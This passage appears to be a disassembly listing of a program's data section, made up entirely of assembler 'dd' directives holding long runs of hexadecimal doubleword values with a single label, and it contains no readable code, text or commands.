dd 0A78408h, 505FDD5Eh, 634D6279h, 9EEA4A00h, 314F4E3Ah
dd 88BF0202h, 113D7D4h, 3DCB1860h, 4817B88Bh, 0CEB24C87h
dd 0EE307200h, 49E39242h, 0C1364C00h, 0F24AF4DFh, 30E0024h
dd 8F40F0BAh, 150107B0h, 50121F77h, 0A9D8C547h, 6E2E0E11h
dd 0B04040DBh, 51BF428Fh, 0CB1BA418h, 38E05970h, 5800D4Dh
dd 0B4DA1693h, 0AA02C802h, 9055EE70h, 0ADB8616Ch, 1E7A2FE4h
dd 61582Eh, 20FF459h, 0FC004888h, 56793390h, 5CD8D995h
dd 491254C4h, 85A401A4h, 0D49088D6h, 0E60005FCh, 29A58BF0h
dd 332A8h, 78EE6866h, 4A4FF52Dh, 0A8ADEB26h, 0DA6C4D00h
dd 0F8826DE6h, 0F0410036h, 3FAC03EEh, 5300015Bh, 76146A28h
dd 5E3571h, 0EBF82C1Ah, 8BB91E98h, 0A6D3D100h, 0CF770839h
dd 0DA2F00BDh, 0A981B4EAh, 0E707094Ah, 4CCCED12h, 0B00082D5h
dd 2240C835h, 0CC9AF3h, 0F82DFF73h, 7E44B4C7h, 0D80ED630h
dd 2974ABh, 0B969F34Ah, 256F3AE6h, 0B48EFFCh, 0BB7B72BAh
dd 0E2F76600h, 0BC8150F1h, 0B2DD1E98h, 0F00D0024h, 0A2F67A57h
dd 0A3C8A913h, 68347A07h, 0E0354AC3h, 735C4DB4h, 0C91102B8h
dd 0F3DE0890h, 7C2704C0h, 0B0B7C403h, 0BB4AD3F9h, 3A1803CFh
dd 0BB8F1020h, 0C9FA24A3h, 0E5CC60F5h, 60020069h, 8EF19E43h
dd 0B42C80F4h, 3D8EE89Dh, 0AFB7E028h, 18CD482h, 6646E88h
dd 0FCDCBD1Bh, 5D00B3E2h, 9A7643B2h, 61C9C31Ch, 0B573A8A0h
dd 0F127F0DAh, 3C3052ECh, 0FAD618A1h, 7D651805h, 0EB39109Eh
dd 1E6F33Dh, 99A74EA2h, 0CEF4C38Eh, 1DCC0052h, 47DD2011h
dd 0D44C1F16h, 810A0317h, 0C8AD71FAh, 0F1A9C7h, 0BE5F8026h
dd 750CE9CFh, 0D14D9401h, 3207F4E1h, 0C81CDCh, 583A5303h
dd 0A9CE7C25h, 2F843700h, 1190CB14h, 83E600B3h, 0EA5726DAh
dd 5301417Fh, 51071E65h, 0D5F043E8h, 0E917009Fh, 5DA4EC6h
dd 85E8E018h, 43CCF62Eh, 1491FC07h, 17356E30h, 76BC00B2h
dd 0D889FEC3h, 0EE008B13h, 0B4DC7E33h, 1E82F0EBh, 6290B1h
dd 993F0E08h, 0A000DACAh, 67D348C8h, 0C0F351C9h, 3F14D910h
dd 9F0058CCh, 0FF2CB820h, 3A7D770h, 0BC4B32AEh, 7A88A1F1h
dd 91012590h, 77F09C9Ah, 0EFFCADF3h, 0E11707BEh, 0B0FCB1C8h
dd 0A6D265EBh, 9F7E1800h, 0C1FF8DDh, 8919007Bh, 86B229A1h
dd 6001AB5Ah, 69C1A8DEh, 9CF036E1h, 0BF95004Ah, 6208037Fh
dd 0EB13ECD3h, 300C654h
dd 36644B68h, 0A2A9005Bh, 25EE21ABh, 0CA000140h, 65A82ACBh
dd 8B2297h, 7E08E706h, 79BD4CF5h, 250F7000h, 0ADF799B5h
dd 0FC3C00BFh, 0C5E7A75Eh, 0F600CC5Dh, 0AF61A24Bh, 0C3441Dh
dd 0D82CDAB4h, 456AD340h, 0B5431E1Fh, 93ABECC0h, 7B597AF4h
dd 718C00DBh, 62B48B2h, 0C905E873h, 4674ED33h, 0E308300h
dd 0A9C0Bh, 5F042D11h, 0DA3C6663h, 7732C93Bh, 85C60218h
dd 7BDB5078h, 6CF228h, 13786D45h, 3F3E7BEBh, 1F7A30C6h
dd 66054CE4h, 7E4D9901h, 9DA7A534h, 0EA4036E9h, 7086AEA0h
dd 6B6800B6h, 2B7BCC45h, 5730FE9Ah, 36176892h, 30C20D7h
dd 0BC85D800h, 0D95F6344h, 19261E24h, 8957C072h, 9D602CB9h
dd 6B00BBB8h, 30CC8FB1h, 7DBC4E8h, 7C43B75Eh, 27F340AFh
dd 0AB3EC0FFh, 15A3CA6h, 0EC4C11D1h, 66C4C44Ah, 840F3C28h
dd 2E0E4300h, 58B5A419h, 5FE88D00h, 7C6B475Ah, 78E50038h
dd 2A57793Ch, 0F57C568Fh, 0FE6AF905h, 82FC8A86h, 339037Ch
dd 0BF46126Fh, 0EC1006C9h, 893A244Eh, 35E7051Dh, 5C8087AFh
dd 85FFA7h, 8AF0BC48h, 93725F5Ah, 7C461E00h, 0C3E07D58h
dd 1BDD185Ch, 25B020D8h, 840065EEh, 2E88F177h, 0B89EB7h
dd 39A1F657h, 8C5AC949h, 0DDAD8B0Ah, 0CA80DC94h, 0A24229FDh
dd 0FFB8009Bh, 1B9F6433h, 0BE00088Ch, 2A1AE7E9h, 69B027h
dd 0C51218E3h, 640C3290h, 410E20B8h, 4AD40467h, 803DA836h
dd 6323F6A6h, 99148Ch, 8A5DDFA5h, 843E971Eh, 0D7CB2C00h
dd 31CF0E93h, 0F87D02E1h, 5DAEE7AFh, 9BB154C0h, 39C9411Fh
dd 0E191F640h, 0DCD006h, 0C73DBA65h, 483113ADh, 0B4D54400h
dd 8AC80A6Bh, 0E4E10040h, 88A9AFF9h, 679853E6h, 8EFE2E00h
dd 0F530F273h, 4C1D24B8h, 165B0EB0h, 0A97E0AC0h, 7A1395B5h
dd 7AB5A62h, 30A4D988h, 89079313h, 0F7202F0Bh, 0A3490023h
dd 0E919FFh, 0D15A6F36h, 637D5E73h, 31812100h, 914F6BFCh
dd 2594385Dh, 0B3128C01h, 4082C6AAh, 0FA643EBAh, 919EDE01h
dd 58752A22h, 0D4168F40h, 0C3F20124h, 0E3C45F08h, 0D7982040h
dd 3E185575h, 1EA1D413h, 57B41CEDh, 0E1518784h, 6940205Bh
dd 4A038571h, 0D4D8DD38h, 0BA37F0A4h, 38CCF4C5h, 50E04499h
dd 8176FE3Ch, 25353900h, 5037AE6h, 766F287h, 0B8C56396h
dd 84A620C2h, 0ED006437h, 20984590h, 0AC333Ah, 0C4099B29h
dd 613B761Dh, 11F55100h, 189148D0h, 3A27055Fh, 82D13FE3h
dd 3840B401h, 7B000A70h, 851B9464h, 1EE6AC5Bh, 310A5D2h
dd 9776F8B4h, 4B126000h, 0CAEC1C3h, 300513E2h, 0A85C4027h
dd 0B5B0B256h, 8B62F806h, 18D98Eh, 0EEE475F9h, 6DCD01A0h
dd 5FC640BDh, 8C620751h, 916874D4h, 0C241D99Ch, 0ED398080h
dd 91008D0Ah, 0F7FA6F2Ch, 491FF28Ch, 560F8490h, 8B66AB45h
dd 650048CFh, 0A5C3EA10h, 22D9ED04h, 0DD3C1DF4h, 7840800Dh
dd 0A82FBEC1h, 81FB012Dh, 5835D25Eh, 0A03E60E6h, 0D50F1900h
dd 31CC94D4h, 78110071h, 45D8D53h, 0BEA08C34h, 0B3007056h
dd 8A7EAEFDh, 1CE78201h, 403B2FCAh, 4EE8EE69h, 0A012FB05h
dd 0DB006239h, 9384B29h, 31CA00D3h, 34DE2C77h, 0CDF85BCFh
dd 41898800h, 6996E157h, 4DD0197Fh, 33C3B825h, 0CA3800B4h
dd 88A070E0h, 847700C1h, 0E482662Eh, 13007B79h, 10242198h
dd 0FFEA26h, 2F8CB45Ch, 88457758h, 0C108471Ch, 95696480h
dd 7ECC29F0h, 378F075Ah, 0A092CD2Ah, 6B19D39Eh, 0ED8CFF1Ch
dd 0BB67EF80h, 7138E6D5h, 18061253h, 9C05004Bh, 224E11BAh
dd 2A695600h, 88EFB0BEh, 0E23800EEh, 5BFD777Bh, 0EAFE5528h
dd 13E94703h, 993AF97Ah, 81309741h, 0A64B0090h, 87FD7F04h
dd 0C101591Fh, 9A9FA428h, 0C7C8262Ah, 0DE9E008Dh, 970C2573h
dd 0B30036E4h, 261B9D98h, 0C232A7h, 2A7CE9D9h, 52A9E7FCh
dd 89289301h, 88771A6Bh, 0C44E8h, 0CAF3341Fh, 0AAA9472Eh
dd 5438F500h, 0A4C59A1Bh, 0CB9B0766h, 0A026793Fh, 0C1EE3AB1h
dd 462F4300h, 0FD6AF104h, 9B8F07CEh, 0A3C81A40h, 2190C36Bh
dd 0CD78F21Bh, 0E4E67A00h, 0DC9EB1B9h, 0CCAE33C5h, 0C1882748h
dd 42002012h, 671A5E31h, 0F390E8h, 0FE405D04h, 52F8DBDCh
dd 9178CB0Eh, 0B919208Ah, 0E0A5D962h, 879300B4h, 2F713D31h
dd 1C005C53h, 55C32937h, 7CD4D73h, 0F0560384h, 0C1EAA0ABh
dd 18F6D27Bh, 0B8C0F37Ah, 79A7B82Ah, 7F2E0058h, 5335BD57h
dd 19287134h, 0DE5C6024h, 8D95052Bh, 9400C6ADh, 8C942A99h
dd 1FC500D3h, 0C419BD85h, 5D00C7E9h, 0D8200D23h, 604A6482h
dd 4EF630EAh, 0FEA0C345h, 36780E58h, 0FBC49E1Fh, 9887C0C1h
dd 0DFE89467h, 6ED6002Ch, 0D53A8FDEh, 0CE0046C2h, 0BBAD5C7Ah
dd 0EA0D0Fh, 370391EBh, 0F4B2DEF9h, 8386BD3Ch, 0F1437C01h
dd 0BC00AFC9h, 0C56C2Dh, 0D8F6DD89h, 3A0D13B1h, 0A4213900h
dd 0EB183C73h, 1C560FECh, 5C60B37Bh, 0F4253F13h, 46046000h
dd 4EDF1AE5h, 22A50773h, 9A5A7964h, 230E01B4h, 0E8C5B26Ah
dd 0A703E4E7h, 97E9611h, 0A513804Eh, 432926E0h, 9CAC004Ah
dd 1A355CF3h, 5200187Eh, 2389C09Bh, 0EE2F14h, 0F7B47473h
dd 0DD5E0FAEh, 2476847Ah, 0B9BA4600h, 324EEBDEh, 0A45400EAh
dd 9AD2726h, 0E2010FCDh, 84D47D77h, 78BA4ADCh, 0A3D69301h
dd 4AD3B475h, 9DBB05FCh, 49809111h, 281F4Eh, 0A1AABAADh
dd 9B5EB216h, 98067E09h, 55FC0019h, 285C282h, 0CED6CC9h
dd 5040F05Eh, 0A1C633Dh, 94C3F4E2h, 0B0A2142Ah, 0D5DF6h
dd 6FC3ECFBh, 13BE86EEh, 15213D00h, 8E312A5h, 95180071h
dd 53D98FE8h, 0CB00997Bh, 0AE7745FFh, 164AB31h, 88D0B265h
dd 431CA09Fh, 0C8D8FAB4h, 2471FB50h, 9A00E8B8h, 20E222DBh
dd 0FD17D080h, 17230h, 14DACB62h, 8C074AA6h, 0D39082A1h
dd 33B830E0h, 80D1BC00h, 5E188519h, 83103E9Eh, 7A67DB00h
dd 8A230FE7h, 41CCD600h, 0D738161Ch, 835E00BFh, 971D24A5h
dd 6009C4Eh, 15D15D86h, 732745h, 703B38B4h, 9EC1D6FFh
dd 7CC04C00h, 1FEB0A40h, 0C7DB3F43h, 7A557700h, 0E4E0347h
dd 90AB7B00h, 172A7294h, 0E9AE0075h, 0D9F68BA4h, 18F03363h
dd 9A2F7F1Dh, 0BD00E72Ch, 0E53FBBBEh, 0D9CE007Bh, 8B2CA5ADh
dd 0E00CCA3h, 0A4233684h, 0E86694Ah, 17B87330h, 966A783h
dd 0E5C31190h, 0F112E0B8h, 0EC004CDFh, 0EB63F06Ah, 55401E2h
dd 0E7AE832Fh, 0C303CC98h, 89850A1Dh, 0F34062DEh, 2AF4DAD1h
dd 74C50040h, 0DDDE7B80h, 1501990Fh, 92D88D5Bh, 0AEF49CF9h
dd 0D77000BEh, 0ED7E52ECh, 120018ABh, 9E11FEA7h, 0E53031Ch
dd 56DDB9A8h, 0D2374707h, 906E2435h, 8005983Dh, 5A117BB4h
dd 168182A1h, 0E66F7h, 0C1E9D691h, 0EC1271F8h, 4B0F5AD2h
dd 44AEC0BEh, 23DB1Fh, 25DDE539h, 6615400Bh, 0B29AF805h
dd 5584E398h, 0C2E1F7C0h, 0B0637719h, 0B290D9h, 9FB32D3Eh
dd 93A25CADh, 5049921Ch, 117FEF80h, 99D94Bh, 0F51A5130h
dd 206FDDBCh, 8C1E967Dh, 0EDC0339Bh, 3504FFC8h, 0A8500021h
dd 7B724C2Eh, 0BF00A0FDh, 12CD03D4h, 8A7924h, 0F3623D3Fh
dd 0CA5C0706h, 29206B18h, 611050h, 0B6778FE5h, 0D96A175Ah
dd 92A45600h, 0FF854FDFh, 89433CBFh, 3ADFB1Fh, 730CAF96h
dd 3478DCE1h, 6870F8D8h, 5CA040EDh, 9E00EB44h, 0BB4BD843h
dd 0AA827Ah, 0E82205E5h, 99C439FBh, 6407DB00h, 0B1EA6FA3h
dd 0A4A0635h, 86197C9Bh
dd 0F0C69A61h, 60B92FE8h, 0C58500F6h, 8D5E60CDh, 533A84A2h
dd 0A3B30680h, 7894A9Eh, 0C5FE5BCAh, 3A5DF050h, 4E3A1497h
dd 0DFD80752h, 4FC323B4h, 0EB103FAAh, 98CA80F7h, 4E62F100h
dd 8ADE10EDh, 0C35D48F5h, 57140E00h, 0A75C67F2h, 0DB4A030Fh
dd 649BB12h, 691DED58h, 7F7D98F0h, 5A3B215h, 0BF7E2148h
dd 0D3B5F141h, 4003A6D9h, 0A23E0214h, 9254D900h, 3AD5A4E8h
dd 73BB009Ch, 36E7DECAh, 0B0033ABh, 4393C2Ah, 3EB323h
dd 0C609601Bh, 51053164h, 0EF473000h, 2DA4C35Bh, 0D182008Ch
dd 27211A12h, 8F00DC28h, 0FA0C60A9h, 3C939EFh, 86D52E4Bh
dd 94D0FB8Ah, 34006B58h, 25C6A772h, 2C683Eh, 0E59871AEh
dd 163090E9h, 0CF42FC00h, 61775204h, 1C5700E2h, 1E785C65h
dd 28001689h, 4FD3A406h, 9F6A07h, 0CF3C24CEh, 0B80C7D74h
dd 80231C0Fh, 0AD6140C7h, 0D3F052h, 0E1B34DCEh, 0B9FBAE6Fh
dd 3E0D2A00h, 9F2F6CD4h, 888100F8h, 2637D801h, 711D1F70h
dd 51C0AFA2h, 4D434803h, 45F40089h, 3F80546Ch, 0E700F8F9h
dd 48305E9Ah, 0E05C7534h, 27192928h, 0ABB66120h, 7F810C46h
dd 77892A70h, 0FE4F00D0h, 0CCA287F8h, 0CB33C5C7h, 410808h
dd 0F3766551h, 9AEFF1C3h, 4B39DE00h, 6D91221Eh, 0F03614BEh
dd 2935A2DCh, 0A7808051h, 1560192Ah, 73844AE8h, 2054617Ch
dd 243EF1C6h, 2D00D27Ch, 5028246Eh, 13A12BAh, 534B9117h
dd 809542E5h, 0BD9DF981h, 0AB243D2Ah, 4550109Ch, 5513034Bh
dd 0BE3AFBD5h, 0B5510010h, 0AFE832D9h, 0F031FE5Ch, 50C2087Fh
dd 9D2F2080h, 0A3F24D9h, 0DD070972h, 6EEF57AEh, 642A80D8h
dd 0D75CC74Dh, 7420EA19h, 0D50CCCB9h, 134A873Bh, 14208854h
dd 24305DCBh, 0B23D9h, 0E2566C49h, 0EA06421Ah, 3A451C06h
dd 41E0DD41h, 8013E133h, 2CE9BE2Bh, 0B0006A73h, 77A5247Bh
dd 82766D2h, 12003948h, 0E2D17A56h, 544C84h, 0AD45679Ah
dd 293BBDD3h, 21F7A600h, 9E18A1Ah, 8CE25655h, 3FD98E02h
dd 0C131B7E8h, 0D99A3010h, 0DCD7DB00h, 0D87B8625h, 0E7971840h
dd 9CC5E121h, 1C232D00h, 0CB84729h, 0B610325h, 0CE67B7B1h
dd 91DB79F9h, 0B182E978h, 51E23ED9h, 8AA3C81Ch, 777C2076h
dd 3CC3A500h, 0E1CE5DAh, 38B83070h, 632CF149h, 60011324h
dd 3B5A4674h, 0AA4C01F6h, 0A57A2289h, 73EF598Ah, 0FAB58EFCh
dd 0C8B94CA0h, 18F8495Ah, 0D8FBFF2Ah, 0CA8C3400h, 2D946297h
dd 59F1133Ch, 7809EF9Bh, 0C4E001F7h, 60581D0h, 0E1C56550h
dd 7FA80F00h, 42B60602h, 3FE80023h, 9A6E044Fh, 61C02758h
dd 0D638F814h, 97FA064Eh, 883A73Ch, 67210C60h, 0A33881h
dd 6E619BB9h, 0D3AB0D49h, 0A61A3200h, 15C63D4Dh, 4B08C358h
dd 895C7F7h, 8C20F94h, 0FC30C1F8h, 89449458h, 0B3F8C06Fh
dd 0DADEAD00h, 0EC6D8EB0h, 4E4A4C0Dh, 1158886Ah, 7A54878Bh
dd 314C7B92h, 4A5910C7h, 4D1B0F7Ah, 0B2636E62h, 70F04124h
dd 236452A6h, 30888998h, 29FB0079h, 1890962Ch, 0BE263384h
dd 820361ACh, 0D0F0F988h, 0AC996E69h, 3897029Ch, 93724EFDh
dd 1A10FE19h, 0AB00357Fh, 2892A6CDh, 0E4FBE01Dh, 1D7B899h
dd 0DFA03CB4h, 515EEB33h, 804F89D8h, 0FFDB2591h, 0FB2B8Eh
dd 480C8158h, 97A765E7h, 0B145A50Fh, 0CE0F40A3h, 38EF8D69h
dd 0BA1466E9h, 8123940Eh, 8D7A4201h, 0E181C7Bh, 3031388h
dd 0E52C617Ah, 810726EFh, 3DB8842Eh, 884C997Ch, 9048E2FFh
dd 29DA00B0h, 0E7028083h, 0BE2509C3h, 30936F95h, 90A7908Fh
dd 3E4CE2BFh, 23FDE994h, 0DB0DCB0Ch, 59D25B99h, 7C17A41h
dd 0B288E8EFh, 0BBA6099Ch, 0C8935A6Dh, 0A90E79DBh, 202D60E6h
dd 0F7B19435h, 0D90400A6h, 11147E9Dh, 103EB52h, 0F8255E9Fh
dd 7A610FDBh, 0E46309F1h, 490351DEh, 12A16DAFh, 0F2100155h
dd 82618831h, 9743107h, 6633F0DCh, 8BB0544Ch, 0A4818F6h
dd 3D7400D8h, 0A24F0FC9h, 0E9014805h, 37E0598Ch, 0C880AC96h
dd 32C2A47h, 721FF665h, 4FC3A9B1h, 0E88BC76Fh, 7CCC4522h
dd 9F29000Fh, 0E181D344h, 0C9F0AF38h, 2AE48C00h, 0C8FC40F2h
dd 0C3C10E78h, 0B38C5685h, 0CBF80F20h, 80748C00h, 3FFE61E4h
dd 374900DAh, 4A202C83h, 0DB0FEA51h, 20AD247Fh, 140863BAh
dd 0EC7A28C4h, 0DE80C0E6h, 3946B505h, 0F86E3807h, 4EE0DB7Eh
dd 7CA3195h, 242AC6DFh, 6F005E9Dh, 0F60FC102h, 57E7B500h
dd 0F4EB8A66h, 0CF910034h, 73E6C4E9h, 587607A1h, 78E3AC4Ch
dd 9F6EC000h, 89887769h, 62D0E98h, 0D471467h, 36E480CFh
dd 9EE4E6AAh, 0EE00D672h, 2A1875Bh, 1AA9BBh, 0EC1BFA57h
dd 0A2B8E2E5h, 16B56C00h, 0AC0AEE5Ah, 0C804095Fh, 0BD85EACDh
dd 0D346C092h, 4A00B21Ah, 0B3D85C30h, 4CDB02h, 0B1348FAEh
dd 102769F4h, 40DA0530h, 20CA4160h, 0A82056EAh, 58260082h
dd 1B4FB4F2h, 55006594h, 98975E3Dh, 240769EEh, 62B64Ch
dd 2E2034A2h, 0F018D49Eh, 0DF8072E0h, 8DDA0C3h, 62FE00D5h
dd 132984A5h, 9400DD24h, 0F31023BAh, 2A2BB4h, 0A2F5B77Ch
dd 0F70D91B0h, 0EFC9D305h, 0C00032BCh, 0BB693B4Eh, 0D2E228h
dd 7C3C4B4h, 2DD96FE0h, 0CF3C2DB8h, 0E87100E7h, 248AA6FBh
dd 1B734Ah, 2248A93Eh, 278CA7FFh, 93B8F61Dh, 80763BBAh
dd 0EE4D7E13h, 0B457E6h, 0BDF4CB42h, 4785F250h, 97401660h
dd 0F0ED453Bh, 338C0EF6h, 6E20A16Ch, 7279A744h, 8B3480C0h
dd 9225D70Ch, 9A6B2800h, 0C92400A0h, 0A34EA52Eh, 0D23E844Fh
dd 2FC38077h, 0EF1B89FFh, 8BC1C471h, 39A1800Eh, 2218C262h
dd 3E403FBBh, 452800AAh, 49588946h, 4D0C090Ch, 0C13CE9F7h
dd 0DDDF1EF6h, 0DC80765h, 4B7F0089h, 9A00E67Dh, 5F0B1718h
dd 79978E49h, 3ABD1E37h, 0BB6E4082h, 0C5758F6Bh, 0FA165200h
dd 5468B103h, 847950h, 4A6B80F8h, 3FDA1BCEh, 0BC153D0Fh
dd 0C34D4069h, 675AD65Fh, 10A04093h, 0D2831B08h, 0BD7F9100h
dd 0A1105C79h, 9B2E0E9Ah, 1B208636h, 288E85D0h, 3B485E03h
dd 753A1E9h, 0C7202DC0h, 862FB04Fh, 20F3FADEh, 965811ECh
dd 81280125h, 7930D1E2h, 2A87088Dh, 63C88020h, 71984469h
dd 1BC100AAh, 0C584817Ah, 28987C22h, 0DCDB7600h, 0C9B4F69Bh
dd 38DF71h, 0C7D38849h, 1A0C52BCh, 87EC585h, 7F21C04Dh
dd 0A471D6F0h, 0DDF5AA0Fh, 80CC06EFh, 56830079h, 0B5CA7BF1h
dd 0BC00572Dh, 0F9B8AA6Fh, 8BD0DDh, 4162C64Bh, 7ACE79ADh
dd 6FC988C0h, 1C513239h, 8C91C2A1h, 6B08C3FAh, 0BE4F21C0h
dd 1E190Fh, 53FDE65h, 2609BB3Dh, 99233130h, 0A4D8D0CAh
dd 93451880h, 241C98A9h, 7E5738h, 4A58A8F9h, 0F8E36A3h
dd 0AFC42947h, 0EA9C8140h, 2F3DC807h, 0D32580ACh, 337B82C1h
dd 0CC204DF7h, 5E35BC00h, 0A6BE1DD8h, 5DF80D00h, 62EAC98h
dd 0F2393C12h, 0A1EFD0Ch, 5605B5ACh, 21590386h, 219B202Ch
dd 0C4A09931h, 5101A946h, 0BABC38D3h, 0C0410C17h, 0D3598451h
dd 360058EDh, 973D90D8h, 3F2EAFh, 765319Fh, 25C0765Bh
dd 0E92931C0h, 38ABAA8h, 71657F01h, 82C7A4Ch, 8C80303Dh
dd 0B299BAA9h, 0BDC000B0h, 8613FF2Dh, 5700D4ACh, 30927AF4h
dd 2CA22C05h, 39141660h, 58B171FEh, 0BE0054D1h, 3ED65EFDh
dd 0C530BC36h, 0FC4F1867h, 0CE1E009Eh, 3406C271h, 84A0116Eh
dd 2E06A387h, 4E0238C9h, 5C7BF2F9h, 0F51BDC72h, 193140D7h
dd 26BFD029h, 0BA04130Ch
dword_51E548 dd 63870189h, 7F209832h, 1209BA0Ch, 4081DE82h, 0ADACA60Ch
dd 0DC03A761h, 3E77F197h, 3584985Dh, 3207007Bh, 0CF3AFDC4h
dd 13D8745h, 0C39A0ECh, 0DBDEB82Eh, 361A72B8h, 17A119D4h
dd 80B4114Ch, 1CA1E379h, 88934801h, 182E13h, 44BE0E44h
dd 0A501296Dh, 60781E07h, 27F0AB48h, 0D356010Bh, 3752CA8Eh
dd 7DB06B2Ah, 66F2A6h, 3AF83EFCh, 832789EBh, 6A7DCB00h
dd 1F2EAE5Bh, 5C4373D1h, 0FC000DF2h, 0CA208E54h, 0EA1ED333h
dd 375608D7h, 45B62906h, 639D0B18h, 0D200A043h, 0D997B1F9h
dd 0D399D703h, 88522741h, 0C05CDA0Fh, 82A30888h, 0A9005E3Ah
dd 39C98D71h, 7C8BEF80h, 0C17503D2h, 0FB0EEC8Ah, 605B9391h
dd 366F819Ah, 94C44068h, 321FF9h, 9EED6BF1h, 2277B165h
dd 0D2A74100h, 0B63FBA1Bh, 1594005Fh, 392792E3h, 4400C44Bh
dd 172EF2FBh, 20B91AAh, 26430918h, 90A1868Fh, 60689203h
dd 0F80E7634h, 40C8CB48h, 75DD9135h, 0F6D6016Ch, 0D9B4EF2Bh
dd 9490814Dh, 0F769E564h, 0E880BC61h, 88B5AB44h, 1C03C936h
dd 7EBA06D5h, 0F891FB34h, 0E9BA89Ah, 0C9B99707h, 3CD0C780h
dd 69017A6Fh, 9D90B67Bh, 898B742h, 2E1C21C5h, 4ACF7800h
dd 7ABD77A2h, 0A8CC00A5h, 9C7FFD7Dh, 3A00C64Fh, 0E70E5CD0h
dd 1D20C3Eh, 7CE14C20h, 0D1CE5868h, 76FD10CCh, 1A9D0009h
dd 0ED8EF6DCh, 0A7180C88h, 0B9507C60h, 7C20549h, 2051D181h
dd 1B09612Ch, 0CE842010h, 0A880C4C8h, 72DC0975h, 0D36C070Bh
dd 0E30A2BE5h, 32902342h, 0B500F158h, 0CF4BDB8h, 80D11CE8h
dd 6E0799C7h, 0B5CDBFF5h, 0B009EC03h, 0F0731CE7h, 9C951826h
dd 8AB0285Dh, 2E1ECB00h, 29F1925Ch, 602F74E4h, 736949ACh
dd 0CBF134CBh, 98003DF3h, 0A4855536h, 0C0A194BDh, 0D8651549h
dd 90247A6Bh, 6C002641h, 438EEF98h, 0A0BF3DDCh, 9C83E703h
dd 0F0A8050Fh, 3D0A8DB5h, 0C8731A6Bh, 802E5C00h, 3AD51D8h
dd 0F6C97D83h, 0A57CB1h, 0DC8B4F10h, 170BF7B4h, 83F88A06h
dd 910C44A1h, 7047CC95h, 3C0E4C01h, 0F5201080h, 0EC92AB61h
dd 4D9A9401h, 87488B31h, 0ECC708CCh, 0F8F0081h, 3F5C7DBBh
dd 20002C6Fh, 0F61C30B4h, 1AB343Bh, 37C1B6A8h, 0DE81D12Dh
dd 0E66BAD00h, 0C57D5C0Ah, 0CAAB2E00h, 1CA62938h, 8C47320Eh
dd 2418A019h, 11FD496h, 63EAD5B4h, 0F817B181h, 76197DE2h
dd 8251A8ADh, 3D81044Ah, 0F0AFF821h, 8703C80Ah, 0DBF0911Fh
dd 8C89B1B3h, 0CDECA8D9h, 753CFA3Bh, 0E2093EF3h, 0A95729E2h
dd 94A38823h, 44CA4304h, 915EFCD0h, 94E119A8h, 14407751h
dd 14A10747h, 283FF06Eh, 4E937B00h, 91B49976h, 0E62B4800h
dd 81FF1095h, 11E8B7h, 43D5068h, 836BAC14h, 0CB8F4500h
dd 3BE0BE5Ch, 0F75A3F9Fh, 12A34C81h, 70A846E4h, 5000CCD3h
dd 9A5470B2h, 0E09328E7h, 0C9130058h, 0F0C51F67h, 6F3B945Ah
dd 0DF3B7CE8h, 793D803Ah, 0A7432E11h, 0D8C600A8h, 52883F5Fh
dd 16002BADh, 0B9FE7436h, 0E615E85h, 6D56918Bh, 73F0A961h
dd 0BFBDE006h, 550C2A00h, 352DE9A7h, 0C08600B8h, 0E337321Ah
dd 1600ECF6h, 45EA9BBDh, 50279621h, 57F702h, 0DB446F24h
dd 0F7E938F4h, 8D09F900h, 9330E308h, 70640522h, 8010AB21h
dd 0ED689721h, 3E4F100h, 41B54780h, 28F600E9h, 44F5850h
dd 0C10197C4h, 2A2D5786h, 0F1604ADDh, 353900D2h, 6F6DF93Bh
dd 8107B89Dh, 3075567Eh, 5DE0AAF0h, 531F0051h, 0D0F2DD17h
dd 6400F693h, 552747C5h, 99CF8Eh, 4E498A61h, 2FDA760Ch
dd 53720901h, 70AAE77Ch, 6A44AC40h, 962D00E1h, 3978799Bh
dd 0E5F9C710h, 80A8BB0Eh, 32354D0Ch, 512F64h, 2CE37E98h
dd 88FAEA8h, 0B8A6DB03h, 78FD40B6h, 0E34E0030h, 3F15EE4Dh
dd 0D0080DEh, 0A84A7A35h, 0D72B6Ch, 0CAAAB28Dh, 4C74BC91h
dd 47FCE600h, 78DECFBEh, 0CDF0C014h, 0B72355DCh, 48FE44E4h
dd 11018074h, 5AD2601Ch, 0DC803AE0h, 0AC9AEADh, 6A006FE1h
dd 0DF866858h, 7E77537h, 5001F093h, 69FB70C2h, 4300199Ah
dd 130DECB7h, 0F606B57Bh, 4863070Bh, 9091C871h, 0F925B157h
dd 0D789D563h, 0B601801Ah, 7715002Eh, 0E9088AE7h, 0F0018F42h
dd 0F486F16Bh, 26C8D5D2h, 4D2400AEh, 8ADF3F45h, 9F2C9CFDh
dd 13AE680h, 0CA71C4DBh, 852085EFh, 16761Bh, 0A22BB328h
dd 8324A425h, 0AA754675h, 7033FB00h, 358777E5h, 0DBA5002Ah
dd 83D15867h, 7B1F039Ah, 291FF823h, 0F37880BDh, 3F10D0C2h
dd 70E0F5C0h, 0CF8A0027h, 0BA2026B4h, 0EA037CEEh, 0A8493DD8h
dd 0B068E07Ah, 0B805E4D9h, 6BAE0042h, 453074Eh, 601C9F8Bh
dd 729F353Eh, 0BD79FB80h, 684357h, 0C0E9A42Bh, 0EAE5569Fh
dd 110DF600h, 0A9FC3D7Ch, 0ACE8CAh, 196EBB10h, 85133887h
dd 0CC969F00h, 57510473h, 77C3ABCh, 2B02A580h, 1B78327Fh
dd 7A38D090h, 0DC8987C8h, 7501F957h, 0C0FFEA0Eh, 96A5A8h
dd 0BC285B92h, 514C9B22h, 6DF7200h, 2EB7F4D9h, 7A390107h
dd 0D2BDAA5Ch, 0FD4CC8DBh, 3AE84300h, 0D3D9DDA3h, 839400D8h
dd 9F936859h, 0C303806Ch, 7FC20CBh, 76660F4Bh, 0A1E07C57h
dd 684775B8h, 0F700ECF0h, 125598CDh, 0B003D1BFh, 0D6FE00C2h
dd 0C6AD1080h, 0E04C90Ah, 53ED9F22h, 0E2155480h, 0EA3C0059h
dd 2ECD318Dh, 9473FEC1h, 8C2D2A28h, 0E8A1438h, 0A182F683h
dd 479BA06Fh, 2C46C6h, 0F75D246Eh, 602C2D56h, 0CDEB900h
dd 107E67E3h, 2375007Dh, 0DAA4EAC7h, 0FE39AEDDh, 27A900C8h
dd 0CC6E5583h, 0F3C00D4h, 0F58FE387h, 0D9008B3Ah, 1A9ACD63h
dd 9BF792h, 40A5DB61h, 0C7030A80h, 0ADE37400h, 71D49D6Eh
dd 0D9C51F89h, 0C168061h, 63391AE0h, 0BD3FEC1Fh, 2F3201B8h
dd 2C30F4B2h, 6AD0EFC5h, 0FDD30019h, 0E75E6DCAh, 0B9FC69E2h
dd 7B768676h, 470A9200h, 5F229571h, 151A0028h, 14A810CFh
